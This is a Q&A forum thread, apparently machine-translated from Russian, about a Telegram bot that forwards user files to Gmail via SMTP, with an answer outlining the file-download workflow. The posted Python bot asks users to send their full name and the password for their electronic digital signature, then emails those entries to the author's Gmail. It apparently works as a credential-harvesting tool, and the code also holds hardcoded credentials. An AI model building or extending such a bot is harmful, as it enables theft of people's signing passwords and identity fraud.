Answer the question
In order to leave comments, you need to log in
The user sends a file to the bot, and the bot sends it to gmail?
Guys, please help with the code: 1. The user throws a file to the bot 2. The bot sends the file
import telebot
from telebot import types
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import requests
bot = telebot.TeleBot('v2hO6B0M')
@bot.message_handler(commands=['start'])
def first(message):
keyboard = types.ReplyKeyboardMarkup(True, False)
keyboard.add('Меню')
send = bot.send_message(message.chat.id, "Добро пожаловать, {0.first_name}!\nЯ - <b>{1.first_name}</b>, бот созданный чтобы быть подопытным кроликом.".format(message.from_user, bot.get_me()),
parse_mode='html', reply_markup=keyboard)
bot.register_next_step_handler(send, second)
def second(message):
if message.text == 'Меню':
keyboard = types.ReplyKeyboardMarkup(True, False)
keyboard.row('Отправить ', 'Рассчёт ')
keyboard.add('Обратная связь', 'Помощь')
send = bot.send_message(message.chat.id, 'Вибери что тебе нужно', reply_markup=keyboard)
bot.register_next_step_handler(send, third)
else:
bot.send_message(message.chat.id, 'Твои данные отправлены, ожидай ответа')
addr_from = "serhii" # Адресат
addr_to = "serhii" # Получатель
password = "nvrk" # Пароль
msg = MIMEMultipart() # Создаем сообщение
msg['From'] = addr_from # Адресат
msg['To'] = addr_to # Получатель
msg['Subject'] = 'Данные от ЭЦП' # Тема сообщени
sms = message.text
body = sms
msg.attach(MIMEText(body, 'plain')) # Добавляем в сообщение текст
server = smtplib.SMTP('smtp.gmail.com', 587) # Создаем объект SMTP
server.set_debuglevel(True) # Включаем режим отладки - если отчет не нужен, строку можно закомментировать
server.starttls() # Начинаем шифрованный обмен по TLS
server.login(addr_from, password) # Получаем доступ
server.send_message(msg) # Отправляем сообщение
server.quit() # Выходим
def third(message):
if message.text == 'Отправить':
keyboard = types.ReplyKeyboardMarkup(True, False)
keyboard.row('Отмена')
send = bot.send_message(message.chat.id, 'Напиши мне данные в таком формате: ФИО|Пароль от ЭЦП', reply_markup=keyboard)
bot.register_next_step_handler(send, second)
elif message.text == 'Отмена':
first(message)
if __name__ == '__main__':
bot.infinity_polling()
to mail via SMTP Answer the question
In order to leave comments, you need to log in
You need to add the step of downloading the file to the hosting.
The algorithm of actions IMHO should be the following:
1. The user throws a file to the bot.
2. The bot receives it and stores the file on the telegram server.
3. With getFile you get a link to the file, which is valid for 1 hour (after that you can get it again).
4. Download the file to your hosting or to the cloud.
5. Create a letter, attach a file and send.
6. After successfully sending the letter, you delete the file from the hosting.
Done
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question